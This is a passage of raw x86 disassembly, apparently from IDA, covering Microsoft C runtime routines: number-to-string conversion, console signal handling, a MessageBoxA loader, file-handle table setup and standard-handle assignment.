[ebp+var_4] mov dl, [ecx] mov [ebp+var_10], dl mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov dl, [ecx] mov [eax], dl mov eax, [ebp+var_8] mov cl, [ebp+var_10] mov [eax], cl mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_8] cmp ecx, [ebp+var_4] jb short loc_42AEDA mov esp, ebp pop ebp retn sub_42AE50 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+10h], 0Ah jnz short loc_42AF39 cmp dword ptr [ebp+8], 0 jge short loc_42AF39 mov dword ptr [ebp-4], 1 jmp short loc_42AF40 ; --------------------------------------------------------------------------- loc_42AF39: ; CODE XREF: .nsp0:0042AF28j ; .nsp0:0042AF2Ej mov dword ptr [ebp-4], 0 loc_42AF40: ; CODE XREF: .nsp0:0042AF37j mov eax, [ebp-4] push eax mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_42AE50 add esp, 10h mov eax, [ebp+0Ch] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 mov eax, [ebp+10h] push eax mov ecx, [ebp+0Ch] push ecx mov edx, [ebp+8] push edx call sub_42AE50 add esp, 10h mov eax, [ebp+0Ch] pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+14h], 0Ah jnz short loc_42AFA1 cmp dword ptr [ebp+0Ch], 0 jg short loc_42AFA1 jl short loc_42AF98 cmp dword ptr [ebp+8], 0 jnb short loc_42AFA1 loc_42AF98: ; CODE XREF: .nsp0:0042AF90j mov dword ptr [ebp-4], 1 jmp short loc_42AFA8 ; --------------------------------------------------------------------------- loc_42AFA1: ; CODE XREF: .nsp0:0042AF88j ; .nsp0:0042AF8Ej ... mov dword ptr [ebp-4], 0 loc_42AFA8: ; CODE XREF: .nsp0:0042AF9Fj mov eax, [ebp-4] push eax mov ecx, [ebp+14h] push ecx mov edx, [ebp+10h] push edx mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call sub_42AFD0 mov eax, [ebp+10h] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AFD0 proc near ; CODE XREF: .nsp0:0042AFBCp ; .nsp0:0042B0E5p var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_8] mov [ebp+var_4], eax cmp [ebp+arg_10], 0 jz short loc_42B004 mov ecx, [ebp+var_4] mov byte ptr [ecx], 2Dh mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+arg_0] neg eax mov ecx, [ebp+arg_4] adc ecx, 0 neg ecx mov [ebp+arg_0], eax mov [ebp+arg_4], ecx loc_42B004: ; CODE XREF: sub_42AFD0+10j mov edx, [ebp+var_4] mov [ebp+var_8], edx loc_42B00A: ; CODE XREF: sub_42AFD0+9Fj ; sub_42AFD0+A7j mov eax, [ebp+arg_C] xor ecx, ecx push ecx push eax mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_41DF70 mov [ebp+var_C], eax mov ecx, [ebp+arg_C] xor edx, edx push edx push ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41DF00 mov [ebp+arg_0], eax mov [ebp+arg_4], edx cmp [ebp+var_C], 9 jbe short loc_42B057 mov edx, [ebp+var_C] add edx, 57h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_42B06B ; --------------------------------------------------------------------------- loc_42B057: ; CODE XREF: sub_42AFD0+6Fj mov edx, [ebp+var_C] add edx, 30h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_42B06B: ; CODE XREF: sub_42AFD0+85j cmp [ebp+arg_4], 0 ja short loc_42B00A jb short loc_42B079 cmp [ebp+arg_0], 0 ja short loc_42B00A loc_42B079: ; CODE XREF: sub_42AFD0+A1j mov edx, [ebp+var_4] mov byte ptr [edx], 0 mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax loc_42B088: ; CODE XREF: sub_42AFD0+EAj mov ecx, [ebp+var_4] mov dl, [ecx] mov [ebp+var_10], dl mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov dl, [ecx] mov [eax], dl mov eax, [ebp+var_8] mov cl, [ebp+var_10] mov [eax], cl mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_8] cmp ecx, [ebp+var_4] jb short loc_42B088 mov esp, ebp pop ebp retn 14h sub_42AFD0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 mov eax, [ebp+14h] push eax mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_42AFD0 mov eax, [ebp+10h] pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 10h push esi cmp dword ptr [ebp+0Ch], 4 jz short loc_42B103 cmp dword ptr [ebp+0Ch], 3 jnz short loc_42B108 loc_42B103: ; CODE XREF: .nsp0:0042B0FBj jmp loc_42B2D8 ; --------------------------------------------------------------------------- loc_42B108: ; CODE XREF: .nsp0:0042B101j cmp dword ptr [ebp+8], 2 jz short loc_42B124 cmp dword ptr [ebp+8], 15h jz short loc_42B124 cmp dword ptr [ebp+8], 16h jz short loc_42B124 cmp dword ptr [ebp+8], 0Fh jnz loc_42B201 loc_42B124: ; CODE XREF: .nsp0:0042B10Cj ; .nsp0:0042B112j ... push 1 call sub_41FB40 add esp, 4 cmp dword ptr [ebp+8], 2 jz short loc_42B13A cmp dword ptr [ebp+8], 15h jnz short loc_42B17F loc_42B13A: ; CODE XREF: .nsp0:0042B132j cmp dword_4EFAB8, 0 jnz short loc_42B17F push 1 push offset sub_42B320 call dword_4F13E0 ; SetConsoleCtrlHandler cmp eax, 1 jnz short loc_42B161 mov dword_4EFAB8, 1 jmp short loc_42B17F ; --------------------------------------------------------------------------- loc_42B161: ; CODE XREF: .nsp0:0042B153j call dword_4F1348 ; RtlGetLastWin32Error mov esi, eax call sub_4248B0 mov [eax], esi push 1 call sub_41FBE0 add esp, 4 jmp loc_42B2D8 ; --------------------------------------------------------------------------- loc_42B17F: ; CODE XREF: .nsp0:0042B138j ; .nsp0:0042B141j ... mov eax, [ebp+8] mov [ebp-10h], eax mov ecx, [ebp-10h] sub ecx, 2 mov [ebp-10h], ecx cmp dword ptr [ebp-10h], 14h ja short loc_42B1F2 mov eax, [ebp-10h] xor edx, edx mov dl, byte_42B2FF[eax] jmp off_42B2EB[edx*4] loc_42B1A6: ; DATA XREF: .nsp0:off_42B2EBo mov ecx, dword_4EFAA8 mov [ebp-0Ch], ecx mov edx, [ebp+0Ch] mov dword_4EFAA8, edx jmp short loc_42B1F2 ; --------------------------------------------------------------------------- loc_42B1BA: ; CODE XREF: .nsp0:0042B19Fj ; DATA XREF: .nsp0:0042B2F3o mov eax, dword_4EFAAC mov [ebp-0Ch], eax mov ecx, [ebp+0Ch] mov dword_4EFAAC, ecx jmp short loc_42B1F2 ; --------------------------------------------------------------------------- loc_42B1CD: ; CODE XREF: .nsp0:0042B19Fj ; DATA XREF: .nsp0:0042B2F7o mov edx, dword_4EFAB0 mov [ebp-0Ch], edx mov eax, [ebp+0Ch] mov dword_4EFAB0, eax jmp short loc_42B1F2 ; --------------------------------------------------------------------------- loc_42B1E0: ; CODE XREF: .nsp0:0042B19Fj ; DATA XREF: .nsp0:0042B2EFo mov ecx, dword_4EFAB4 mov [ebp-0Ch], ecx mov edx, [ebp+0Ch] mov dword_4EFAB4, edx loc_42B1F2: ; CODE XREF: .nsp0:0042B192j ; .nsp0:0042B19Fj ... push 1 call sub_41FBE0 add esp, 4 jmp loc_42B2D3 ; --------------------------------------------------------------------------- loc_42B201: ; CODE XREF: .nsp0:0042B11Ej cmp dword ptr [ebp+8], 8 jz short loc_42B218 cmp dword ptr [ebp+8], 4 jz short loc_42B218 cmp dword ptr [ebp+8], 0Bh jz short loc_42B218 jmp loc_42B2D8 ; --------------------------------------------------------------------------- loc_42B218: ; CODE XREF: .nsp0:0042B205j ; .nsp0:0042B20Bj ... call sub_423CF0 mov [ebp-4], eax mov eax, [ebp-4] cmp dword ptr [eax+50h], offset dword_451BC8 jnz short loc_42B275 push 133h push offset aWinsig_c ; "winsig.c" push 2 mov ecx, dword_451C48 push ecx call sub_418EF0 add esp, 10h mov edx, [ebp-4] mov [edx+50h], eax mov eax, [ebp-4] cmp dword ptr [eax+50h], 0 jz short loc_42B273 mov ecx, dword_451C48 push ecx push offset dword_451BC8 mov edx, [ebp-4] mov eax, [edx+50h] push eax call near ptr sub_41C8D0 add esp, 0Ch jmp short loc_42B275 ; --------------------------------------------------------------------------- loc_42B273: ; CODE XREF: .nsp0:0042B254j jmp short loc_42B2D8 ; --------------------------------------------------------------------------- loc_42B275: ; CODE XREF: .nsp0:0042B22Aj ; .nsp0:0042B271j mov ecx, [ebp-4] mov edx, [ecx+50h] push edx mov eax, [ebp+8] push eax call sub_42B600 add esp, 8 mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jnz short loc_42B293 jmp short loc_42B2D8 ; --------------------------------------------------------------------------- loc_42B293: ; CODE XREF: .nsp0:0042B28Fj mov ecx, [ebp-8] mov edx, [ecx+8] mov [ebp-0Ch], edx loc_42B29C: ; CODE XREF: .nsp0:loc_42B2D1j mov eax, [ebp-8] mov ecx, [eax+4] cmp ecx, [ebp+8] jnz short loc_42B2D3 mov edx, [ebp-8] mov eax, [ebp+0Ch] mov [edx+8], eax mov ecx, [ebp-8] add ecx, 0Ch mov [ebp-8], ecx mov edx, dword_451C4C imul edx, 0Ch mov eax, [ebp-4] mov ecx, [eax+50h] add ecx, edx cmp [ebp-8], ecx jb short loc_42B2D1 jmp short loc_42B2D3 ; --------------------------------------------------------------------------- loc_42B2D1: ; CODE XREF: .nsp0:0042B2CDj jmp short loc_42B29C ; --------------------------------------------------------------------------- loc_42B2D3: ; CODE XREF: .nsp0:0042B1FCj ; .nsp0:0042B2A5j ... mov eax, [ebp-0Ch] jmp short loc_42B2E6 ; --------------------------------------------------------------------------- loc_42B2D8: ; CODE XREF: .nsp0:loc_42B103j ; .nsp0:0042B17Aj ... call sub_4248A0 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh loc_42B2E6: ; CODE XREF: .nsp0:0042B2D6j pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- off_42B2EB dd offset loc_42B1A6 ; DATA XREF: .nsp0:0042B19Fr dd offset loc_42B1E0 dd offset loc_42B1BA dd offset loc_42B1CD dd offset loc_42B1F2 byte_42B2FF db 0 ; DATA XREF: .nsp0:0042B199r dd 3 dup(4040404h), 4040401h, 3020404h, 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B320 proc near ; DATA XREF: .nsp0:0042B145o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push 1 call sub_41FB40 add esp, 4 cmp [ebp+arg_0], 0 jnz short loc_42B34E mov [ebp+var_8], offset dword_4EFAA8 mov eax, [ebp+var_8] mov ecx, [eax] mov [ebp+var_C], ecx mov [ebp+var_4], 2 jmp short loc_42B364 ; --------------------------------------------------------------------------- loc_42B34E: ; CODE XREF: sub_42B320+14j mov [ebp+var_8], offset dword_4EFAAC mov edx, [ebp+var_8] mov eax, [edx] mov [ebp+var_C], eax mov [ebp+var_4], 15h loc_42B364: ; CODE XREF: sub_42B320+2Cj cmp [ebp+var_C], 0 jnz short loc_42B378 push 1 call sub_41FBE0 add esp, 4 xor eax, eax jmp short loc_42B3AC ; --------------------------------------------------------------------------- loc_42B378: ; CODE XREF: sub_42B320+48j cmp [ebp+var_C], 1 jz short loc_42B39D mov ecx, [ebp+var_8] mov dword ptr [ecx], 0 push 1 call sub_41FBE0 add esp, 4 mov edx, [ebp+var_4] push edx call [ebp+var_C] add esp, 4 jmp short loc_42B3A7 ; --------------------------------------------------------------------------- loc_42B39D: ; CODE XREF: sub_42B320+5Cj push 1 call sub_41FBE0 add esp, 4 loc_42B3A7: ; CODE XREF: sub_42B320+7Bj mov eax, 1 loc_42B3AC: ; CODE XREF: sub_42B320+56j mov esp, ebp pop ebp retn 4 sub_42B320 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B3C0 proc near ; CODE XREF: sub_41F260+2E7p ; sub_42DF00+Fp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h mov [ebp+var_C], 0 mov eax, [ebp+arg_0] mov [ebp+var_20], eax mov ecx, [ebp+var_20] sub ecx, 2 mov [ebp+var_20], ecx cmp [ebp+var_20], 14h ja loc_42B48E mov eax, [ebp+var_20] xor edx, edx mov dl, byte_42B5E2[eax] jmp off_42B5CA[edx*4] loc_42B3F8: ; DATA XREF: .nsp0:off_42B5CAo mov [ebp+var_18], offset dword_4EFAA8 mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp loc_42B496 ; --------------------------------------------------------------------------- loc_42B415: ; CODE XREF: sub_42B3C0+31j ; DATA XREF: .nsp0:0042B5D6o mov [ebp+var_18], offset dword_4EFAAC mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_42B496 ; --------------------------------------------------------------------------- loc_42B42F: ; CODE XREF: sub_42B3C0+31j ; DATA XREF: .nsp0:0042B5DAo mov [ebp+var_18], offset dword_4EFAB0 mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_42B496 ; --------------------------------------------------------------------------- loc_42B449: ; CODE XREF: sub_42B3C0+31j ; DATA XREF: .nsp0:0042B5D2o mov [ebp+var_18], offset dword_4EFAB4 mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_42B496 ; --------------------------------------------------------------------------- loc_42B463: ; CODE XREF: sub_42B3C0+31j ; DATA XREF: .nsp0:0042B5CEo call sub_423CF0 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov edx, [ecx+50h] push edx mov eax, [ebp+arg_0] push eax call sub_42B600 add esp, 8 add eax, 8 mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov edx, [ecx] mov [ebp+var_1C], edx jmp short loc_42B496 ; --------------------------------------------------------------------------- loc_42B48E: ; CODE XREF: sub_42B3C0+20j ; sub_42B3C0+31j ; DATA XREF: ... or eax, 0FFFFFFFFh jmp loc_42B5C6 ; --------------------------------------------------------------------------- loc_42B496: ; CODE XREF: sub_42B3C0+50j ; sub_42B3C0+6Dj ... cmp [ebp+var_C], 0 jz short loc_42B4A6 push 1 call sub_41FB40 add esp, 4 loc_42B4A6: ; CODE XREF: sub_42B3C0+DAj cmp [ebp+var_1C], 1 jnz short loc_42B4C3 cmp [ebp+var_C], 0 jz short loc_42B4BC push 1 call sub_41FBE0 add esp, 4 loc_42B4BC: ; CODE XREF: sub_42B3C0+F0j xor eax, eax jmp loc_42B5C6 ; --------------------------------------------------------------------------- loc_42B4C3: ; CODE XREF: sub_42B3C0+EAj cmp [ebp+var_1C], 0 jnz short loc_42B4E0 cmp [ebp+var_C], 0 jz short loc_42B4D9 push 1 call sub_41FBE0 add esp, 4 loc_42B4D9: ; CODE XREF: sub_42B3C0+10Dj push 3 call sub_41B5A0 loc_42B4E0: ; CODE XREF: sub_42B3C0+107j cmp [ebp+arg_0], 8 jz short loc_42B4F2 cmp [ebp+arg_0], 0Bh jz short loc_42B4F2 cmp [ebp+arg_0], 4 jnz short loc_42B51E loc_42B4F2: ; CODE XREF: sub_42B3C0+124j ; sub_42B3C0+12Aj mov eax, [ebp+var_4] mov ecx, [eax+54h] mov [ebp+var_14], ecx mov edx, [ebp+var_4] mov dword ptr [edx+54h], 0 cmp [ebp+arg_0], 8 jnz short loc_42B51E mov eax, [ebp+var_4] mov ecx, [eax+58h] mov [ebp+var_8], ecx mov edx, [ebp+var_4] mov dword ptr [edx+58h], 8Ch loc_42B51E: ; CODE XREF: sub_42B3C0+130j ; sub_42B3C0+149j cmp [ebp+arg_0], 8 jnz short loc_42B560 mov eax, dword_451C40 mov [ebp+var_10], eax jmp short loc_42B537 ; --------------------------------------------------------------------------- loc_42B52E: ; CODE XREF: sub_42B3C0+19Cj mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx loc_42B537: ; CODE XREF: sub_42B3C0+16Cj mov edx, dword_451C40 add edx, dword_451C44 cmp [ebp+var_10], edx jge short loc_42B55E mov eax, [ebp+var_10] imul eax, 0Ch mov ecx, [ebp+var_4] mov edx, [ecx+50h] mov dword ptr [edx+eax+8], 0 jmp short loc_42B52E ; --------------------------------------------------------------------------- loc_42B55E: ; CODE XREF: sub_42B3C0+186j jmp short loc_42B569 ; --------------------------------------------------------------------------- loc_42B560: ; CODE XREF: sub_42B3C0+162j mov eax, [ebp+var_18] mov dword ptr [eax], 0 loc_42B569: ; CODE XREF: sub_42B3C0:loc_42B55Ej cmp [ebp+var_C], 0 jz short loc_42B579 push 1 call sub_41FBE0 add esp, 4 loc_42B579: ; CODE XREF: sub_42B3C0+1ADj cmp [ebp+arg_0], 8 jnz short loc_42B590 mov ecx, [ebp+var_4] mov edx, [ecx+58h] push edx push 8 call [ebp+var_1C] add esp, 8 jmp short loc_42B59A ; --------------------------------------------------------------------------- loc_42B590: ; CODE XREF: sub_42B3C0+1BDj mov eax, [ebp+arg_0] push eax call [ebp+var_1C] add esp, 4 loc_42B59A: ; CODE XREF: sub_42B3C0+1CEj cmp [ebp+arg_0], 8 jz short loc_42B5AC cmp [ebp+arg_0], 0Bh jz short loc_42B5AC cmp [ebp+arg_0], 4 jnz short loc_42B5C4 loc_42B5AC: ; CODE XREF: sub_42B3C0+1DEj ; sub_42B3C0+1E4j mov ecx, [ebp+var_4] mov edx, [ebp+var_14] mov [ecx+54h], edx cmp [ebp+arg_0], 8 jnz short loc_42B5C4 mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov [eax+58h], ecx loc_42B5C4: ; CODE XREF: sub_42B3C0+1EAj ; sub_42B3C0+1F9j xor eax, eax loc_42B5C6: ; CODE XREF: sub_42B3C0+D1j ; sub_42B3C0+FEj mov esp, ebp pop ebp retn sub_42B3C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- off_42B5CA dd offset loc_42B3F8 ; DATA XREF: sub_42B3C0+31r dd offset loc_42B463 dd offset loc_42B449 dd offset loc_42B415 dd offset loc_42B42F dd offset loc_42B48E byte_42B5E2 db 0 ; DATA XREF: sub_42B3C0+2Br db 5 dd 5050501h, 1050501h, 2050505h, 5050505h, 0CC040305h dd 2 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B600 proc near ; CODE XREF: .nsp0:0042B280p ; sub_42B3C0+B6p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_42B60A: ; CODE XREF: sub_42B600+31j mov ecx, [ebp+var_4] mov edx, [ecx+4] cmp edx, [ebp+arg_0] jz short loc_42B633 mov eax, [ebp+var_4] add eax, 0Ch mov [ebp+var_4], eax mov ecx, dword_451C4C imul ecx, 0Ch mov edx, [ebp+arg_4] add edx, ecx cmp [ebp+var_4], edx jnb short loc_42B633 jmp short loc_42B60A ; --------------------------------------------------------------------------- loc_42B633: ; CODE XREF: sub_42B600+13j ; sub_42B600+2Fj mov eax, dword_451C4C imul eax, 0Ch mov ecx, [ebp+arg_4] add ecx, eax cmp [ebp+var_4], ecx jnb short loc_42B655 mov edx, [ebp+var_4] mov eax, [edx+4] cmp eax, [ebp+arg_0] jnz short loc_42B655 mov eax, [ebp+var_4] jmp short loc_42B657 ; --------------------------------------------------------------------------- loc_42B655: ; CODE XREF: sub_42B600+43j ; sub_42B600+4Ej xor eax, eax loc_42B657: ; CODE XREF: sub_42B600+53j mov esp, ebp pop ebp retn sub_42B600 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call sub_423CF0 add eax, 58h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B670 proc near ; CODE XREF: .nsp0:0042CF09p push ebp mov ebp, esp call sub_423CF0 add eax, 54h pop ebp retn sub_42B670 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B680 proc near ; CODE XREF: sub_41F260+2CEp ; sub_42AB10+1B0p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], 0 cmp dword_4EFABC, 0 jnz short loc_42B6F3 push offset aUser32_dll_0 ; "user32.dll" call dword_4F1374 ; LoadLibraryA mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_42B6C7 push offset aMessageboxa ; "MessageBoxA" mov eax, [ebp+var_8] push eax call dword_4F1378 ; GetProcAddress mov dword_4EFABC, eax cmp dword_4EFABC, 0 jnz short loc_42B6CB loc_42B6C7: ; CODE XREF: sub_42B680+28j xor eax, eax jmp short loc_42B737 ; --------------------------------------------------------------------------- loc_42B6CB: ; CODE XREF: sub_42B680+45j push offset aGetactivewindo ; "GetActiveWindow" mov ecx, [ebp+var_8] push ecx call dword_4F1378 ; GetProcAddress mov dword_4EFAC0, eax push offset aGetlastactivep ; "GetLastActivePopup" mov edx, [ebp+var_8] push edx call dword_4F1378 ; GetProcAddress mov dword_4EFAC4, eax loc_42B6F3: ; CODE XREF: sub_42B680+14j cmp dword_4EFAC0, 0 jz short loc_42B705 call dword_4EFAC0 mov [ebp+var_4], eax loc_42B705: ; CODE XREF: sub_42B680+7Aj cmp [ebp+var_4], 0 jz short loc_42B721 cmp dword_4EFAC4, 0 jz short loc_42B721 mov eax, [ebp+var_4] push eax call dword_4EFAC4 mov [ebp+var_4], eax loc_42B721: ; CODE XREF: sub_42B680+89j ; sub_42B680+92j mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] push ecx call dword_4EFABC loc_42B737: ; CODE XREF: sub_42B680+49j mov esp, ebp pop ebp retn sub_42B680 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B740 proc near ; CODE XREF: .nsp0:loc_42BBD2p ; sub_42C3D0:loc_42C669p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push esi mov [ebp+var_8], 0FFFFFFFFh push 12h call sub_41FB40 add esp, 4 mov [ebp+var_C], 0 jmp short loc_42B76A ; --------------------------------------------------------------------------- loc_42B761: ; CODE XREF: sub_42B740:loc_42B90Bj mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax loc_42B76A: ; CODE XREF: sub_42B740+1Fj cmp [ebp+var_C], 40h jge loc_42B910 mov ecx, [ebp+var_C] cmp dword_4EFC40[ecx*4], 0 jz loc_42B876 mov edx, [ebp+var_C] mov eax, dword_4EFC40[edx*4] mov [ebp+var_4], eax jmp short loc_42B79D ; --------------------------------------------------------------------------- loc_42B794: ; CODE XREF: sub_42B740+F1j ; sub_42B740:loc_42B861j mov ecx, [ebp+var_4] add ecx, 24h mov [ebp+var_4], ecx loc_42B79D: ; CODE XREF: sub_42B740+52j mov edx, [ebp+var_C] mov eax, dword_4EFC40[edx*4] add eax, 480h cmp [ebp+var_4], eax jnb loc_42B866 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx+4] and edx, 1 test edx, edx jnz loc_42B861 mov eax, [ebp+var_4] cmp dword ptr [eax+8], 0 jnz short loc_42B809 push 11h call sub_41FB40 add esp, 4 mov ecx, [ebp+var_4] cmp dword ptr [ecx+8], 0 jnz short loc_42B7FF mov edx, [ebp+var_4] add edx, 0Ch push edx call dword_4F1470 ; InitializeCriticalSection mov eax, [ebp+var_4] mov ecx, [eax+8] add ecx, 1 mov edx, [ebp+var_4] mov [edx+8], ecx loc_42B7FF: ; CODE XREF: sub_42B740+A1j push 11h call sub_41FBE0 add esp, 4 loc_42B809: ; CODE XREF: sub_42B740+8Ej mov eax, [ebp+var_4] add eax, 0Ch push eax call dword_4F1390 ; RtlEnterCriticalSection mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx+4] and edx, 1 test edx, edx jz short loc_42B836 mov eax, [ebp+var_4] add eax, 0Ch push eax call dword_4F138C ; RtlLeaveCriticalSection jmp loc_42B794 ; --------------------------------------------------------------------------- loc_42B836: ; CODE XREF: sub_42B740+E2j mov ecx, [ebp+var_4] mov dword ptr [ecx], 0FFFFFFFFh mov ecx, [ebp+var_C] shl ecx, 5 mov edx, [ebp+var_C] mov eax, [ebp+var_4] sub eax, dword_4EFC40[edx*4] cdq mov esi, 24h idiv esi add ecx, eax mov [ebp+var_8], ecx jmp short loc_42B866 ; --------------------------------------------------------------------------- loc_42B861: ; CODE XREF: sub_42B740+81j jmp loc_42B794 ; --------------------------------------------------------------------------- loc_42B866: ; CODE XREF: sub_42B740+6Fj ; sub_42B740+11Fj cmp [ebp+var_8], 0FFFFFFFFh jz short loc_42B871 jmp loc_42B910 ; --------------------------------------------------------------------------- loc_42B871: ; CODE XREF: sub_42B740+12Aj jmp loc_42B90B ; --------------------------------------------------------------------------- loc_42B876: ; CODE XREF: sub_42B740+3Fj push 79h push offset aOsfinfo_c ; "osfinfo.c" push 2 push 480h call sub_418EF0 add esp, 10h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_42B909 mov eax, [ebp+var_C] mov ecx, [ebp+var_4] mov dword_4EFC40[eax*4], ecx mov edx, dword_4EFD40 add edx, 20h mov dword_4EFD40, edx jmp short loc_42B8BC ; --------------------------------------------------------------------------- loc_42B8B3: ; CODE XREF: sub_42B740+1B2j mov eax, [ebp+var_4] add eax, 24h mov [ebp+var_4], eax loc_42B8BC: ; CODE XREF: sub_42B740+171j mov ecx, [ebp+var_C] mov edx, dword_4EFC40[ecx*4] add edx, 480h cmp [ebp+var_4], edx jnb short loc_42B8F4 mov eax, [ebp+var_4] mov byte ptr [eax+4], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx], 0FFFFFFFFh mov edx, [ebp+var_4] mov byte ptr [edx+5], 0Ah mov eax, [ebp+var_4] mov dword ptr [eax+8], 0 jmp short loc_42B8B3 ; --------------------------------------------------------------------------- loc_42B8F4: ; CODE XREF: sub_42B740+18Fj mov ecx, [ebp+var_C] shl ecx, 5 mov [ebp+var_8], ecx mov edx, [ebp+var_8] push edx call sub_42BC50 add esp, 4 loc_42B909: ; CODE XREF: sub_42B740+153j jmp short loc_42B910 ; --------------------------------------------------------------------------- loc_42B90B: ; CODE XREF: sub_42B740:loc_42B871j jmp loc_42B761 ; --------------------------------------------------------------------------- loc_42B910: ; CODE XREF: sub_42B740+2Ej ; sub_42B740+12Cj ... push 12h call sub_41FBE0 add esp, 4 mov eax, [ebp+var_8] pop esi mov esp, ebp pop ebp retn sub_42B740 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B930 proc near ; CODE XREF: .nsp0:0042BC03p ; sub_42C3D0+379p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_4EFD40 jnb loc_42B9CA mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4EFC40[ecx*4] cmp dword ptr [eax+edx], 0FFFFFFFFh jnz short loc_42B9CA cmp dword_451124, 1 jnz short loc_42B9AA mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx cmp [ebp+var_4], 0 jz short loc_42B982 cmp [ebp+var_4], 1 jz short loc_42B990 cmp [ebp+var_4], 2 jz short loc_42B99E jmp short loc_42B9AA ; --------------------------------------------------------------------------- loc_42B982: ; CODE XREF: sub_42B930+42j mov edx, [ebp+arg_4] push edx push 0FFFFFFF6h call dword_4F12F8 ; SetStdHandle jmp short loc_42B9AA ; --------------------------------------------------------------------------- loc_42B990: ; CODE XREF: sub_42B930+48j mov eax, [ebp+arg_4] push eax push 0FFFFFFF5h call dword_4F12F8 ; SetStdHandle jmp short loc_42B9AA ; 